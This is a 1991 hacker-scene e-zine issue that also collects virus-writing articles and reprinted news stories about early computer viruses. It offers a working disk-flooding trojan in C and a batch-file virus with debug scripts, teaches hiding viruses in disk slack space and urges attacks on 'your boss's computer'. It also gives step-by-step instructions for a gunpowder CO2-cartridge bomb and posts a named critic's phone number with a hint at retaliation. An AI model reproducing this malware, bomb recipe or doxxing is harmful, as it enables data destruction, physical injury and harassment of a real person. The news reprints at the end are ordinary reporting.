Virus and Trojan Oriented
Volume No. 2
Welcome back! Hey guys, (and gals I hope!) error in last issue, the date
was incorrect. The actual date of INT/VT1.TXT should have been 1/29/91. Sorry
dudez, had some people think it was a year old... Ok, geez, already issue two?
You people have been waiting for it haven't you? GOOD!
VERY IMPORTANT NEWS!
--------------------
Gene Dunn, (handle is Unimax) a PD'er and Virus hater is on the prowl. He
has called The Edge of Destruction(817-473-3621) many times, and actually came
over to MY house once. He is threatening to take me to court. He got a virus
on his PD BBS and wants The EoD shut down because of its virus support, and
because it is the home of INT/VT!!!! This man is a mad man. I won't take the
BBS down! But if the court says so, oh well! HEY! THIS GUY IS THREATENING THE
HOME OF INT/VT!!! His name again is GENE DUNN,(Actually Eugene I believe) and
the number to his BBS is 817-834-0143. What you do with that info is up to you.
DISCLAIMER
----------
The writers of this article, nor the sysops of The EoD, are responsible for
what you do with the information found/discussed here. You the user/reader of
this are soley responsible for what you do with this information, as it is
provided for programming research only, and not for ANY illegal uses.
HOW WAS LESSON ONE?
-------------------
How did everyone do on your first lesson? Did you try it? On what? I'd
really enjoy it if you'd call The EoD and leave me mail about it. Also, if you
plan to continue with these issues and do the examples, I would recommend that
you get a copy of flushot(also available on The EoD), so as to watch the
virii/trojans as they work.
INT/VT APPLICATION
------------------
In this issue of INT/VT we will be including an application for joining our
association. Please fill it out and upload it to the SYSOP UPLOADS on The Edge
of Destruction BBS, 817-473-3621. You will be notified via E-Mail of your
status as a member. Thank You.
SOME INFORMATION ABOUT DEBUG
----------------------------
Since not everyone has Turbo Debugger, sNOOp, or some of the nicer
de-buggers, we're going to stick with using the DOS debug. Those of you who
already write virii and or are familiar with debug, you may want to skip this
section and pick up later down in the article. This is for the beginners to
debug. Here are some of the basic listing of commands for debug:
COMMAND / USAGE / COMMENTS
A A[address] A0100:0100 Start assembling at address 0100:0100
In most cases A0100 is all that is neccessary.
C C[range address] CC100,1FF 300 Compare portion of memory
D D[range] D0100 Displays the contents of memory at 0100
E E[address] E0100 Start entering byte values at 0100
F F[range list] F0100 L 100 fill 100 bytes
G G[address] G runs the current program
H H[values] H 100 108 ads and subtracts hex numbers
I I[value] I2F8 input one byte from port specified
L L[address] Load
M M[range address] move blocks of memory
N N[name] Names file (i.e. N Joe.exe)
O O[value byte] sends specified byte to output port
Q Q Terminates Debug
R R[register] Shows the register and edit it
S S[range list] Search the specified range for bytes
T T Trace through program
U U[address] Unnassemble at address x, u0100
W W[amt. of bytes] Save to disk
While these are not explained in great detail, it is not neccessary to
do so at this time, but as we use them it will be. I recommend you go to the
bookstore and purchase Peter Norton's Guide to Assembly Language. It will run
you about $25.00 and then download MASM5.0 from The EoD. MASM stand for
Microsoft Assembler, for you who are new to this. Also available are Turbo C
and Turbo C++ v2.00 and Turbo Pascal v6.00. Feel free to call and D/L these
files. Reading Peter Norton's book will make what you find here much easier.
Also, it will teach you how to program in assembler. Something we DO NOT plan
to do here, but to sharpen your knowledge, or HELP you learn it. Something else
you need is the BOOK of INT's. Soon to be available on The EoD.
LESSON 2, ANOTHER SIMPLE TROJAN IN C
------------------------------------
Our last trojan was in ASM, this one is in C. And known as Crazy. What it
does is makes tons of directories on someones HD. You say, "ooo, big deal."
Exactly, its a VERY BIG deal. In DOS, you can not remove more than one DIR at a
time. Can you imagine removing all of those DIR's by hand? It could take
weeks, months, or years.
/* Thanks to Ninja Wala of SUP for writing such a niftey trojan! */
#include <stdio.h>
#include <stdlib.h> /* Include Files */
#include <dir.h> /* Used by C to make life easier */
main()
{
int i,j; /* Names I and J as variables */
char tmp[20];
char far *ptr;
for (i=0;i<=50;i++){ /* random loop to make dirs */
srand(rand());
ptr = itoa(rand(),tmp,10);
mkdir ( ptr ); /* makes the DIR */
chdir ( ptr );
for (j=0;j<=50;j++){
ptr = itoa(rand(),tmp,10);
mkdir( ptr );
}
chdir ("\\");
}
}
While we are not going deep into how this works, we give you the source
so you can compile it and have some real nice fun killing an HD. If you would
like the compiled version (EXE version) you can get it off of many BBS's
including The EoD.
NEXT ISSUE
----------
In the next issue we will actually look at the inner workings of a virus.
Rather than a trojan. As to which virus, we can not be sure at this time.
Also, we will start our virus description and fake virus section.
JUST FOR ANARCHISTS - CO2 Cartidge Bomb!
----------------------------------------
Ok dudez, here is a nice mailbox or toilet bomb. Let the air out of the
CO2 cartridge, I don't care how. Use a nail, knife, screwdriver, or whatever
else to make the hole a bit bigger. Fill it with gunpowder and pack it down by
tapping the bottom of the CO2 cartridge on a hard surface. Insert a fuse, (I
recommend a good waterproof cannon fuse, but a firecracker fuse will work if its
all you can find.) Use something that seals real hard and tight. I have used
silicon before, but I think you cand find something that will try much harder if
you look. Find your destination. Light it. RUN! FAST! If it blows with you
near it. Better be a hospital near. I flushed one down a toilet at a Fina
Station and the Toilet CRACKED and started leaking. Not to mention water was
everywhere! Dripping from the ceiling and the walls.

APOLOGY
-------
We realize that this issue was not as informative as some of you were
hoping. The reason for this is the problem of Gene Dunn. We have had little or
no time to donate to INT/VT due to his insanity. We hope to have a MUCH, MUCH
more interesting Issue as Issue 3. Which you should see in about 1-2 weeks.

Explanation of Viruses and Trojans Horses
-----------------------------------------
Written by Acid Phreak
Like itYs biological counterpart, a computer virus is an agent of
infection, insinuating itself into a program or disk and forcing its host
to replicate the virus code. Hackers fascinated by the concept of oliving@
code wrote the first viruses as projects or as pranks. In the past few
years, however, a different kind of virus has become common, one that lives
up to an earlier meaning of the word: in Latin, virus means poison.
These new viruses incorporate features of another type of insidious
program called a Trojan horse. Such a program masquerades as a useful
utility or product but wreaks havoc on your system when you run it. It may
erase a few files, format your disk, steal secrets--anything software can
do, a Trojan horse can do. A malicious virus can do all this then attempt
to replicate itself and infect other systems.
The growing media coverage of the virus conceptand of specific viruse
has promoted the development of a new type of software. Antivirus programs,
vaccines--they go by many names, but their purpose is to protect from virus
attack. At present there are more antivirus programs than known viruses
(not for long).
Some experts quibble about exactly what a virus is. The most widely
known viruses, the IBM Xmas virus and the recent Internet virus, are not
viruses according to some experts because they do not infect other programs.
Others argue that every Trojan horse is a virus--one that depends completely
on people to spread it.
How They Reproduce:
-------------------
Viruses canYt travel without people. Your PC will not become infected
unless someone runs an infected program on it, whether accidentally or on
purpose. PCYs are different from mainframe networks in this way--the
mainframe Internet virus spread by transmitting itself to other systems and
ordering them to execute it as a program. That kind of active transmission
is not possible on a PC.
Virus code reproduces by changing something in your system. Some viruses
strike COMMAND.COM or the hidden system files. Others, like the notorious
Pakistani-Brain virus, modify the boot sector of floppy disks. Still others
attach themselves to any .COM or .EXE file. In truth, any file on your
system that can be executed--whether itYs a program, a device driver, an
overlay, or even a batch file--could be the target of a virus.
When an infected program runs, the virus code usually executes first and
then transfers control to the original program. The virus may immediately
infect other programs, or it may load itself into RAM and continue spreading.
If the virus can infect a file that will be used on another system, it has
succeeded.
What They Can Do:
-----------------
Viruses go through two phases: a replication phase and an action phase.
The action doesnYt happen until a certain even occurs--perhaps reaching a
special date or running the virus a certain number of times. It wouldnYt
make sense for a virus to damage your system the first time it ran; it needs
some time to grow and spread first.
The most vulnerable spot for a virus attack is your hard diskYs file
allocation table (FAT). This table tells DOS where every fileYs data resides
on the disk. Without the FAT, the dataYs still there but DOS canYt find it.
A virus could also preform a low-level format on some or all the tracks of
your hard disk, erase all files, or change the CMOS memory on AT-class
computers so that they donYt recognize the hard disk.
Most of the dangers involve data only, but itYs even possible to burn
out a monochrome monitor with the right code.
Some virus assaults are quite subtl. One known virus finds four
consecutive digits on the screen and switches two. LetYs hope youYre not
balancing the companyYs books when this one hits. Others slow down system
operations or introduce serious errors.

oOk, IYve written the virus, now where the hell do I put it?@

*******************************************************************************
Ok, wow! YouYve just invented the most incredibly nifty virus. It
slices, it dices, it squshes, it mushes (sorry Berke Breathed) peopleYs data!
But the only problem is, if you go around infecting every damn file, some cute
software company is going to start putting in procedures that checksum their
warez each time they run, which will make life for your infecting virus a total
bitch. Or somebodyYs going to come up with an incredibly nifty vaccination util
that will wipe it out. Because, i mean, hey, when disk space starts vanishing
suddenly in 500K chunks people tend to notice. Especially people like me that
rarely have more than 4096 bytes free on their HD anyway. Ok. So youYre saying
owow, so what, I can make mine fool-proof@, etc, etc. But wait! ThereYs no need
to go around wasting your precious time when the answer is right there in front
of you! Think about it, you could be putting that time into writing better and
more inovative viruses, or you could be worring about keeping the file size,
the date & time, and the attributes the same. With this system, you only need
to infect one file, preferably one thatYs NOT a system file, but something that
will get run alot, and will be able to load your nifty virus on a daily basis.
This system also doesnYt take up any disk space, other than the loader. And the
loader could conceivably be under 16 bytes (damn near undetectable). First of
all, you need to know what programs to infect. Now, everybody knows about using
COMMAND.COM and thatYs unoriginal anyway, when there are other programs people
run all the time. Like DesqView or Norton Utilities or MASM or a BBS file or
WordPerfect; you get the idea. Better still are dos commands like Format, Link
or even compression utilities. But you get the point. Besides, whoYs going to
miss 16 bytes, right? Now, the good part: where to put the damn thing. One note
to the programmer: This could get tricky if your virus is over 2k or isnYt
written in Assembly, but the size problem is easy enough, it would be a simple
thing to break your virus into parts and have the parts load each other into
the system so that you do eventually get the whole thing. The only problem with
using languages besides assembly is that itYs hard to break them up into 2k
segments. If you want to infect floppys, or smaller disks, youYd be best off to
break your file into 512 byte segments, since theyYre easier to hide. But, hey,
in assembly, you can generate pretty small programs that do alot, tho. Ok, by
now youYve probably figured out that weYre talking about the part of the disk
called Zthe slackY. Every disk that your computer uses is divided up into parts
called sectors, which are (in almost all cases) 512 bytes. But in larger disks,
and even in floppies, keeping track of every single sector would be a complete
bitch. So the sectors are bunched together into groups called ZclustersY. On
floppy disks, clusters are usually two sectors, or 1024 bytes, and on hard
disks, theyYre typically 4096 bytes, or eight sectors. Now think about it, you
have programs on your hard disk, and what are the odds that they will have
sizes that always end up in increments of 4096? If IYve lost you, think of it
this way: the file takes up a bunch of clusters, but in the last cluster it
uses, there is usually some ZslackY, or space that isnYt used by the file. This
space is between where the actual file ends and where the actual cluster ends.
So, potentially, you can have up to 4095 bytes of ZslackY on a file on a hard
disk, or 1023 bytes of ZslackY on a floppy. In fact, right now, run the Norton
program ZFS /S /TY command from your root directory, and subtract the total
size of the files from the total disk space used. ThatYs how much ZslackY space
is on your disk (a hell of alot, even on a floppy). To use the slack, all you
need to do is to find a chunk of slack big enough to fit your virus (or a
segment of your virus) and use direct disk access (INT 13) to put your virus
there. There is one minor problem with this. Any disk write to that cluster
will overwrite the slack with ZgarbageY from memory. This is because of the way
DOS manages itYs disk I/O and it canYt be fixed without alot of hassles. But,
there is a way around even this. And it involves a popular (abeit outdated and
usually ineffectual) form of virus protection called the READ-ONLY flag. This
flag is the greatest friend of this type of virus. Because if the file is not
written to, the last cluster is not written to, and voila! Your virus is safe
>from mischivious accidents. And since the R-O flag doesnYt affect INT 13 disk
I/O, it wonYt be in your way. Also, check for programs with the SYSTEM flag set
because that has the same Read-only effect (even tho I havenYt seen it written,
itYs true that if the file is designated system, DOS treats it as read-only,
whether the R-O flag is set or not). The space after IBMBIOS.COM or IBMDOS.COM
in MS-DOS (not PC-DOS, it uses different files, or so I am told; IYve been too
lazy to find out myself) or a protected (!) COMMAND.COM file in either type of
DOS would be ideal for this. All you have to do is then insert your loader into
some innocent-looking file, and you are in business. All your loader has to do
is read the sector into the highest part of memory, and do a far call to it.
Your virus cann then go about waiting for floppy disks to infect, and place
loaders on any available executable file on the disk. Sound pretty neet? It is!
Anyway, have fun, and be sure to upload your virus, along with a README file on
how it works to CPI Headquarters so we can check it out! And remember: donYt
target P/H/P boards (thatYs Phreak/Hack/Pirate boards) with ANY virus. Even if
the Sysop is a leech and you want to shove his balls down his throat. Because
if all the PHP boards go down (especially members of CPI), who the hell can you
go to for all these nifty virus ideas? And besides, itYs betraying your own
people, which is uncool even if you are an anarchist. So, target uncool PD
boards, or your bossYs computer or whatever, but donYt attack your friends.
Other than that, have phun, and phuck it up!

CPI Virus Standards - Protect yourself and your friends

*******************************************************************************
One of the main problems with viruses is that once you set one loose,
it is no longer under your control. I propose to stop this by introducing some
standards of virus writing that will enable them to be deactivated whenever
they enter a ZfriendlyY (CPI) system. In the long run, even the author of the
virus is not immune to being attacked. The following are what I have termed the
CPI standards for writing viruses. They will allow a virus to easily check any
system they are being run on for a type of Zidentity badgeY. If it is found,
the virus will not infect the system it is being run on. The other standards
are mostly written around this.
CPI Standards for writing viruses -
1 - The virus will have an Zactive periodY and an Zinactive periodY.
The active periods will be no more than one year in length (to make
it more difficult to discover the virus). You may release different
versions of your virus with different Zactive periodsY. It is not
recommended that your virus deactivate itself after the set active
period, as this would enable people to deactivate viruses by using
their computer with the date set to 2069 or something. It is also
required that activation periods begin on January 1 and end on
December 31. This will coincide with the changing identity codes.
2 - The virus will check for an identity code by executing Interrrupt
12h with the following register settings: AX - 4350, BX - 4920,
CX - AB46, DX - 554E. If the system is friendly, then a pointer
will be returned in CX:DX to an ASCIIZ (0-terminated) string which
will have different contents in different years. The codes are not
to be included in any text file, and should only be given through
E-mail on CPI affiliated systems. You can always ask me by sending
me mail at The Andromeda Strain BBS. If a system is detected as
friendly, the virus will not attempt to infect or damage it, but it
is ok to display a little greeting message about how lucky the
user was.
3 - We very much encourage you to upload your virus, along with a breif
description on the workings into the CPI section at The Andromeda
Strain BBS. Only CPI members will know about your virus. This is
so that CPI members can share techniques and it also allows us to
verify that the identity check works. If we see any improvements
that could be made, such as ways to streamline code, better ways of
spreading, etc. we will inform you so that you can make the changes
if you wish.
4 - It is also suggested that you use ADS standard for virus storage on
infected disks. This meathod uses disk slack space for storage and
is more thoroughly described in a previous text file by me. I think
that this is the most effective and invisible way to store viruli.
5 - A list of CPI-Standard viruli will be avaliable at all times from
The Andromeda Strain BBS, to CPI users. Identity strings will also
be available to anyone in CPI, or anyone who uploads source code to
a virus which is 100% complete except for the Identity string (it
must be written to CPI-Standards). Non-CPI members who do this will
be more seriously considered for membership in CPI.

Well well, here it is... I call it AIDS... It infects all COM files, but it is
not perfect, so it will also change the date/time stamp to the current system.
Plus, any READ-ONLY attributes will ward this virus off, it doesnYt like them!
Anyway, this virus was originally named NUMBER ONE, and I modified the code so
that it would fit my needs. The source code, which is included with this neato
package was written in Turbo Pascal 3.01a. Yeah I know itYs old, but it works.
Well, I added a few things, you can experiment or mess around with it if youYd
like to, and add any mods to it that you want, but change the name and give us
some credit if you do.
The file is approximately 13k long, and this extra memory will be added to the
file it picks as host. If no more COM files are to be found, it picks a random
value from 1-10, and if it happens to be the lucky number 7, AIDS will present
a nice screen with lots of smiles, with a note telling the operator that their
system is now screwed, I mean permanantly. The files encrypted containing AIDS
in their code are IRREVERSIBLY messed up. Oh well...
Again, neither CPI nor the author of Number One or AIDS endorses this document
and program for use in any illegal manner. Also, CPI, the author to Number One
and AIDS is not responsible for any actions by the readers that may prove harm
in any way or another. This package was written for EDUCATIONAL purposes only!

Batch Viruses
-------------
Whoever thought that viruses could be in BATCH file.This virus which we
are about to see makes use of MS-DOS operating system. This BATCH virus
uses DEBUG & EDLIN programs.
Name: VR.BAT
echo = off ( Self explanatory)
ctty nul ( This is important. Console output is turned off)
path c:\msdos ( May differ on other systems )
dir *.com/w>ind ( The directory is written on oind@ ONLY name entries)
edlin ind<1 ( oInd@ is processed with EDLIN so only file names appear)
debug ind<2 ( New batch program is created with debug)
edlin name.bat<3 ( This batch goes to an executable form because of EDLIN)
ctty con ( Console interface is again assigned)
name ( Newly created NAME.BAT is called.
In addition to file to this Batch file,there command files,here named 1,2,3
Here is the first command file:
-------------------------------
Name: 1
1,4d ( Here line 1-4 of the oIND@ file are deleted )
e ( Save file )
Here is the second command file:
--------------------------------
Name: 2
m100,10b,f000 (First program name is moved to the F000H address to save)
e108 o.BAT@ (Extention of file name is changed to .BAT)
m100,10b,f010 (File is saved again)
e100@DEL o (DEL command is written to address 100H)
mf000,f00b,104 (Original file is written after this command)
e10c 2e (Period is placed in from of extension)
e110 0d,0a (Carrige return+ line feed)
mf010,f020,11f ( Modified file is moved to 11FH address from buffer area)
e112 oCOPY \VR.BAT@ ( COPY command is now placed in front of file)
e12b od,0a (COPY command terminated with carriage return + lf)
rxc ( The CX register is ... )
2c ( set to 2CH)
nname.bat ( Name it NAME.BAT)
w ( Write )
q ( quit )
The third command file must be printed as a hex dump because it contains
2 control characters (1Ah=Control Z) and this is not entirely printable.
Hex dump of the third command file:
-----------------------------------
Name: 3
0100 31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79
1 , 1 ? . . n y y y y y y y
0110 79 29 0D 32 2C 32 3F 52-20 1A OD 6E 6E 79 79 79
y . 2 , ? ? r . . n n y y y
0120 79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00
y y y y . E . . . . . . . . .
In order for this virus to work VR.BAT should be in the root. This program
only affects .COM files.

Viruses in Basic
----------------
Basic is great language and often people think of it as a limited language
and will not be of any use in creating something like a virus. Well you are
really wrong. Lets take a look at a Basic Virus created by R. Burger in 1987.
This program is an overwritting virus and uses (Shell) MS-DOS to infect .EXE
files.To do this you must compile the source code using a the Microsoft
Quick-BASIC.Note the lenght of the compiled and the linked .EXE file and edit
the source code to place the lenght of the object program in the LENGHTVIR
variable. BV3.EXE should be in the current directory, COMMAND.COM must be
available, the LENGHTVIR variable must be set to the lenght of the linked
program and remember to use /e parameter when compiling.

This basic virus will only attack .EXE files. After the execution you will
see a oINH@ file which contains the directory, and the file %SORT.EXE.
Programs which start with o%@ are NOT infected ,they pose as back up copies.

;[2.9]
;-----------------------------------------------------------------------;
; This virus is of the oFLOPPY ONLY@ variety. ;
; It replicates to the boot sector of a floppy disk and when it gains control
; it will move itself to upper memory. It redirects the keyboard ;
; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ;
; it will attempt to infect any floppy it finds in drive A:. ;
; It keeps the real boot sector at track 39, sector 8, head 0 ;
; It does not map this sector bad in the fat (unlike the Pakistani Brain)
; and should that area be used by a file, the virus ;
; will die. It also contains no anti detection mechanisms as does the ;
; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ;
; sector 9 because this is common to all floppy formats both single ;
; sided and double sided. It does not contain any malevolent TROJAN ;
; HORSE code. It does appear to contain a count of how many times it ;
; has infected other diskettes although this is harmless and the count ;
; is never accessed. ;
; ;
; Things to note about this virus: ;
; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
; is its primary (only for that matter) means of reproduction to other ;
; floppy diskettes. The only way to remove it from an infected system ;
; is to turn the machine off and reboot an uninfected copy of DOS. ;
; It is even resident when no floppy is booted but BASIC is loaded ;
; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ;
; it activates and infectes the floppy from which the user is ;
; attempting to boot. ;
; ;
; Also note that because of the POP CS command to pass control to ;
; its self in upper memory, this virus does not to work on 80286 ;
; machines (because this is not a valid 80286 instruction). ;
; ;
; If your assembler will not allow the POP CS command to execute, replace;
; the POP CS command with an NOP and then assemble it, then debug that ;
; part of the code and place POP CS in place of NOP at that section. ;
; ;
; The Norton Utilities can be used to identify infected diskettes by ;
; looking at the boot sector and the DOS SYS utility can be used to ;
; remove it (unlike the Pakistani Brain). ;

ThereYs A Virus In My Software
Mischief-makers at the computer
are deliberately endangering data
By Philip J. Hilts
Washington Post Staff Writer
The Washington Post Weekly Edition, Page #38. May 23-29, 1988.
Tiny programs that are deliberately cause mischief are epidemic among
computers and causing nervousness among those who monitor them. Since the
first tests of the notion in 1983 that machines can catch and spread
oinformation diseases,@ the computer world has reached the point at which as
many as thirty instances of ocomputer virus@ have been reported in the past
year, affecting tens of thousands of U.S. computers alone.
Such viruses have been found at the National Aeronautics and Space
Administration, International Business Machines Corporation, the House of
Representatives, at least six universities, several major computer networks
such as Comp-u-serve and several businesses, including the worldYs largest
computer-service company, the $4.4 billion Electronic Data Systems
Corporation of Dallas, Texas.
Written by malicious programmers, the viruses are sneaked into computer
systems by piggybacking them on legitimate programs and messages. There,
they may be passed along or instructed to wait until a prearranged moment to
burst forth and destroy data.
Hundreds of computers at the Hebrew University of Jerusalem and other
places in Israel were hit last fall by a virus designed to spread and then,
in one swipe on a Friday the thirteenth, destroy all data in any computer it
could reach.
If not for an error by itYs author, who has not been caught, the virus
could have caused devastation among micro-computers in Israel and other
nations. The virus did not check to see whether it already had infected a
program and so infected some computers hundreds of times, crowding their
memories enough to call attention to itself.
In a seven-month campaign, programmers in Israel hastened to find
infected machines and ensure that the smallest number would be affected
before Friday, May 13th. Officials say they initially thought that the
infection was connected with the anniversary of the last day that Palestine
existed as a political entity but subsequently decided that it most likely
involved just Friday the thirteenth.
Apparently, the campaign was successful; there has been no word of
substantial damage. This past Friday the thirteenth is this yearYs only such
day.
At the Aldus Corporation of Seattle, Washington, a major software maker,
executives are huddling with lawyers to try to determine whether
international spread of such diseases is illegal. No virus cases have been
taken to court.
At N.A.S.A. headquarters in Washington, several hundred computers had to
be resuscitated after being infected. N.A.S.A. officials have taken
precautions and reminded their machinesY users to follow routine computer
hygiene: DonYt trust foreign data or strange machines.
Viruses have the eerie ability to perch disguised among legitimate data
just as biological viruses hide among genes in human cells, then spring out
unexpectedly, multiplying and causing damage. Experts say that even when
they try to study viruses in controlled conditions, the programs can get out
of control and erase everything in a computer. The viruses can be virtually
impossible to stop if their creators are determined enough.
oThe only way to protect every-body from them is to do something much
worse than the viruses: Stop talking to one another with computers,@ says
William H. Murray, an information-security specialist at Ernst and Whinney
financial consultants in Hartford, Connecticut.
Hundreds of programs and files have been destroyed by viruses, and
thousands of hours of repair or prevention time have been logged.
Programmers have quickly produced antidote programs with such titles as
oVaccine,@ oFlu Shot,@ oData Physician,@ oSyringe.@
Experts says known damage is minimal compared with the huge, destructive
potential. They express the hope that the attacks will persuade computer
users to minimize access to programming and data.
oWhat we are dealing with here is the fabric of trust in society,@ says
Murray. oWith computer viruses, we have a big vulnerability.@
Early this year, Aldus Corporation discovered that a virus had been
introduced that infected at least five-thousand copies of a new drawing
program called Freehand for the Macintosh computer. The infected copies were
packaged, sent to stores and sold. On March 2, the virus interrupted users
by flashing this message on their screens:
oRichard Brandow, publisher of MacMag, and its entire staff would like
to take this opportunity to convey their universal message of peace to all
Macintosh users around the world.@
Viruses are the newest of evolving methods of computer mayhem, says
Donn B. Parker, a consultant at SRI International, a computer research firm
in Menlo Park, California. One is the oTrojan horse,@ a program that looks
and acts like a normal program but contains hidden commands that eventually
take effect, ordering mischief. Others include the otime bomb,@ which
explodes at a set time, and the ologic bomb,@ which goes off when the
computer arrives at a certain result during normal computation. The osalami
attack@ executes barely noticeable results small acts, such as shaving a
penny from thousands of accounts.
The computer virus has the capability to command the computer to make
copies of the virus and spread them. A virus typically is written only as a
few hundred characters in a program containing tens of thousands of
characters. When the computer reads legitimate instructions, it encounters
the virus, which instructs the computer to suspend normal operations for a
fraction of a second.
During that time, the virus instructs the computer to check for other
copies of itself and, if none is found, to make and hide copies. Instruction
to commit damage may be included. A few infamous viruses found in the past
year include:
[] The oscores@ virus. Named after a file it spawns, it recently entered
several hundred Macintosh computers at N.A.S.A. headquarters. oIt looks
as if it searching for a particular Macintosh program with a name that
no one recognizes,@ spokesman Charles Redmond says.
This virus, still spreading, has reached computers in CongressY
information system at the National Oceanic and Atmospheric
Administration and at Apple Computer IncorporatedYs government-systems
office in Reston, Virginia. It has hit individuals, businesses and
computer obulletin boards@ where computer hobbyists share information.
It apparently originated in Dallas, Texas and has caused damage, but
seemingly only because of its clumsiness, not an instruction to do
damage.
[] The obrain@ virus. Named by its authors, it was written by two brothers
in a computer store in Lahore, Pakistan, who put their names, addresses
and phone number in the virus. Like oscores,@ it has caused damage
inadvertently, ordering the computer to copy itself into space that
already contain information.
[] The oChristmas@ virus. It struck last December after a West German
student sent friends a Christmas message through a local computer
network. The virus told the receiverYs computer to display the
greeting, then secretly send the virus and message to everyone on the
recipientYs regular electronic mailing list.
The student apparently had no idea that someone on the list had
special, restricted access to a major world-wide network of several
thousand computers run by I.B.M. The network broke down within hours
when the message began multiplying, stuffing the computersY memories.
No permanent damage was done, and I.B.M. says it has made repetition
impossible.
Demonstrations have shown that viruses can invade the screens of users
with the highest security classification, according to Fred Cohen of
Cincinnati, a researcher who coined the term ocomputer Viruses.@ A standard
computer-protection device at intelligence agencies, he says, denies giving
access by a person at one security level to files of anyone else at a higher
level and allows reading but denies writing of files of anyone lower.
This, however, oallows the least trusted user to write a program that
can be used by everyone@ and is overy dangerous,@ he says.
Computers oare all at risk,@ says Cohen, oand will continue to be... not
just from computer viruses. But the viruses represent a new level of threat
because of their subtleness and persistence.@
1.) Computer oviruses@ are actually immature computer programs. Most are
written by malicious programmers intent on destroying information in
computers for fun.
2.) Those who write virus programs often conceal them on floppy disks that
are inserted in the computer. The disks contain all programs needed to
run the machine, such as word processing programs, drawing programs or
spread sheet programs.
3.) A malicious programmer makes the disk available to others, saying it
contains a useful program or game. These programs can be lent to others
or put onto computerized: obulletin boards@ where anyone can copy them
for personal use.
4.) A computer receiving the programs will oread@ the disk and the tiny virus
program at the same time. The virus may then order the computer to do a
number of things:
A.) Tell it to read the virus and follow instructions.
B.) Tell it to make a copy of the virus and place it on any disk inserted
in the machine today.
C.) Tell it to check the computerYs clock, and on a certain date destroy
information that tells it where data is stored on any disk: if an
operator has no way of retrieving information, it is destroyed.
D.) Tell it not to list the virus programs when the computer is asked for
an index of programs.
5.) In this way, the computer will copy the virus onto many disks--perhaps
all or nearly all the disks used in the infected machine. The virus may
also be passed over the telephone, when one computer sends or receives
data from another.
6.) Ultimately hundreds or thousands of people may have infected disks and
potential time bombs in their systems.

ZVirusY infected hospital computers,
led to epidemic of software mix-ups
-----------------------------------------------
From the San Diego Tribune
March 23, 1989
BOSTON (UPI) -- A ovirus@ infected computers at three Michigan hospitals
last fall and disrupted patient diagnoses at two of the centers in what appears
to be the first such invasion of a medical computer, it was reported yesterday.
The infiltration did not harm any patients but delayed diagnoses by
shutting down computers, creating files of non-existent patients and garbling
names on patient records, which could have caused more serious problems, a
doctor said.
oIt definitely did affect care in delaying things and it could have
affected care in terms of losing this information completely,@ said Dr. Jack
Juni, a staff physician at the William Beaumont Hospitals in Troy and Royal Oak,
Mich., two of the hospitals involved.
If patient information had been lost, the virus could have forced doctors
to repeat tests that involve exposing patients to radiation, Juni said
yesterday. The phony and garble files could have caused a mix-up in patient
diagnosis, he said.
oThis was information we were using to base diagnoses on,@ said Juni, who
reported the case in a letter in The New England Journal of Medicine. oWe were
lucky and caught it in time.@
A computer virus is a set of instructions designed to reproduce and spread
>from computer to computer. Some viruses do damage in the process, such as
destroying files or overloading computers.
Paul Pomes, a computer virus expert at the University of Illinois in
Champaign, said this was the first case he had heard of in which a virus had
disrupted a computer used for patient care or diagnosis in a hospital.
Such disruptions could become more common as personal computers are used
more widely in hospitals, Juni and Pomes said. More people know how to program
-- and therefore sabotage -- personal computers than the more specialized
computers that previously have been used, Pomes said.
The problem in Michigan surfaced when a computer used to display images
used to diagnose cancer and other diseases began to malfunction at the 250-bed
Troy hospital in August 1988.
In October, Juni discovered a virus in the computer in the Troy hospital.
The next day, Juni found the same virus in a similar computer in the 1,200-bed
Royal Oak facility, he said.
The virus apparently arrived in a program in a storage disk that was part
of the Troy computer system, he said. It probably was spread inadvertently to
the Royal Oak computer on a floppy disk used by a resident who worked at both
hospitals to write a research paper, he said.
The virus also spread to the desk-top computers at the University of
Michigan Medical Center in Ann Arbor, where it was discovered before it caused
problems.
oProsecutor Wins Conviction In Computer Data Destruction@
September 21, 1988
Fort Worth, Texas (AP) - A former programmer has been convicted of planting
a computer ovirus@ in his employerYs system that wiped out 168,000 records and
was activated like a timb bomb, doing its damage two days after he was fired.
Tarrant County Assistant District Attorney Davis McCown said he believes e
is the first prosecutor in the country to have someone convicted for destroying
computer records using a ovirus.@
oWeYve had people stealing through computers, but not this type of case,@
McCown said. oThe basis for this offense is deletion.@
oItYs very rare that the people who spread the viruses are caught,@ said
John McAfee, chairman of the Computer Virus Industry Association in Santa Clara,
which helps educate the public about viruses and find ways to fight them.
oThis is absolutely the first time@ for a conviction, McAfee said.
oIn the past, prosecutors have stayed away from this kind of case because
theyYre too hard to prove,@ McCown said yesterday. They have also been reluctant
because the victim doesnYt want to let anyone know there has been a breach of
security.@
Donald Gene Burleson, 40, was convicted of charges of harmful access to a
computer, a third-degree feloy that carries up to 10 years in prison and up to
$5,000 in fines.
A key to the case was the fact that State District Judge John Bradshaw
allowed the computer program that deleted the files to be introduced as
evidence, McCown said. It would have been difficult to get a conviction
otherwise, he said.
The District Court jury deliberated six hours before bringing back the
first conviction under the stateYs 3-year-old computer sabotage law.
Burleson planted the virus in revenge for his firing from an insurance
company, McCown said.
Jurors were told during a technical and sometimes-complicated three-week
trial that Burleson planted a rogue program in the computer system used to store
records at USPA and IRA Co., a Fort Worth-based insurance and brokerage firm.
A virus is a computer program, often hidden in apparently normal computer
software, that instructs the computer to change or destroy information at a
given time or after a certain sequence of commands.
The virus, McCown said, was activated Sept. 21, 1985, two days after
Burleson was fired as a computer programmer, because of alleged personality
conflicts with other employees.
oThere were a series of programs built into the system as early as Labor
Day (1985),@ McCown said. oOnce he got fired, those programs went off.@
The virus was discovered two days later, after it had eliminated 168,00
payroll records, holding up company paychecks for more than a month. The virus
could have caused hundreds of thousands of dollars in damage to the system had
it continued, McCown said.
